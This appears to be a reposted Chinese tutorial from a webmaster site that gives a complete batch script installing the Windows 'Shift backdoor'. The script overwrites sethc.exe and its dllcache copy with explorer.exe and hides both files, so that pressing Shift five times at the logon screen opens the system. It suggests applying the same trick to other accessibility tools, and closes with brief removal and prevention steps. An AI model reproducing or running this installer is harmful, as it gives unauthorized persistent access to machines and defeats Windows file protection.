| 在cmd下输入以下命令... 下面再打开记事本把底下的代码粘贴进去。 代码如下: @echo off cls echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo. echo Shift后门 echo.sproink @copy c:\windows\explorer.exe c:\windows\system32\sethc.exe @copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe @attrib c:\windows\system32\sethc.exe +h @attrib c:\windows\system32\dllcache\sethc.exe +h echo 使用方法:本文件执行完毕后, echo 在终端界面按Shift 5次即可登陆系统! echo. copy c:\windows\explorer.exe c:\windows\system32\sethc.exe echo 完成百分之 50 copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe echo 完成百分之 80 attrib c:\windows\system32\sethc.exe +h echo 完成百分之 90 attrib c:\windows\system32\dllcache\sethc.exe +h echo 完成百分之 100 cls echo. echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo 后门安装完毕！ echo. echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo. echo. & pause exit 其实原理很简单，就是利用了explorer.exe 这个资源管理器进程替换调用的shift 默认启动程序，然后还覆盖了windows的文件保护原文件（防止文件保护系统检测到文件修改，会还原这些原来的程序，造成copy文件失去作用），当调用shift是其实调用的真正程序是桌面进程。Lyon: 同理，你也可以利用此方法替换屏幕键盘及放大镜和组合键：win+u,其它自己可以拓展思路^_^ 下面介绍如何清除此后门... 打开控制面板－－辅助功能选项－－粘滞键－－设置－－去掉使用快捷键的勾  还有要改下copy.exe的权限，不过在这里推荐大家把c盘所有的程序都 改下，只有administrator才能访问 shift后门的预防解决办法：预防很简单的，连敲5次shift，然后在弹出的设置里面取消连滞键 已经中了的话 attrib c:\windows\system32\sethc.exe -h attrib c:\windows\system32\dllcache\sethc.exe -h 拷贝新的 c:\windows\system32\sethc.exe 文件到 c:\windows\system32\目录下；拷贝新的c:\windows\system32\dllcache\sethc.exe到c:\windows\system32\dllcache\目录下 还有就是在c:\windows\system32及c:\windows\system32\dllcache\下找到sethc.exe 禁止所有用户权限或拒绝访问等，也可:)建议利用前者恢复。。。 收工！ |
免责声明：本站部分文章和图片均来自用户投稿和网络收集，旨在传播知识，文章和图片版权归原作者及原出处所有，仅供学习与参考，请勿用于商业用途，如果损害了您的权利，请联系我们及时修正或删除。谢谢！
始终以前瞻性的眼光聚焦站长、创业、互联网等领域，为您提供最新最全的互联网资讯，帮助站长转型升级，为互联网创业者提供更加优质的创业信息和品牌营销服务，与站长一起进步！让互联网创业者不再孤独！
扫一扫，关注站长网微信
大家都在看
